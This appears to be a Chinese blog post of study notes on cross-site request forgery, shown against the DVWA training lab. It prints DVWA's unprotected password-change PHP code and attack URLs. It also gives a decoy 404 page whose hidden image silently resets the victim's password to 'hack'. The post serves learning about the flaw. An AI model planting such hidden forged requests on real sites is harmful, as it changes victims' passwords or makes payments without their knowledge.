CSRF 学习笔记

1:什么是CSRF:

假设有一个支付网站:www.xx.com

向小明同学付款1000元数据包:

www.xx.com/pay.php?name=xiaoming&account=xxxx@qq.com&money=1000 

攻击者在自己博客首页源码中添加js代码:

<script src=”http://www.xx.com/pay.php?name=&account=xxxx@qq.com&money=1000”></script>

受害者访问我的个人博客,加载js代码,js代码将会执行(自动加载地址)

浏览器已经登录支付网站(或者获取到了被攻击者的Cookies)的话,就会导致付款

基于DVWA-Low模型攻击如下:  可以看到在PHP中他接受了password_new和password_conf后即将密码转化为MD5值后对数据库进行了修改,没有做任何CSRF防护措施,因此我们

可在

http://192.168.221.10:800/DVWA/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

实际数据库中执行:

<?php 
if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 
    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 
    mysql_close(); 
} 
?>

 如果将这个命令嵌入至Html当中,则更加隐蔽,因为直接输入会显示Password Changed字样,比如在这个很美观的404页面之下:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>404页面</title>
		<meta name="renderer" content="webkit" />
		<meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no" />
		<link rel="stylesheet" type="text/css" href="style.css">
		<link rel="shortcut icon" href="http://uqseo.com/favicon.ico">
	</head>
	<body>
		<div class="container">
			<img src="http://192.168.221.10/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
			<img class="bg" src="404.png"/>
			<div class="btn">
				<a href="/" class="goindex">返回首页</a>
				<a href="http://wpa.qq.com/msgrd?v=3&uin=68179285&site=qq&menu=yes" target="_blank" class="lx">咨询站长</a>
				<div style="clear:both;"></div>
			</div>
		</div>
	</body>
</html>

 

 

posted @ 2020-03-25 17:27  Yeung丶  阅读(182)  评论(0编辑  收藏  举报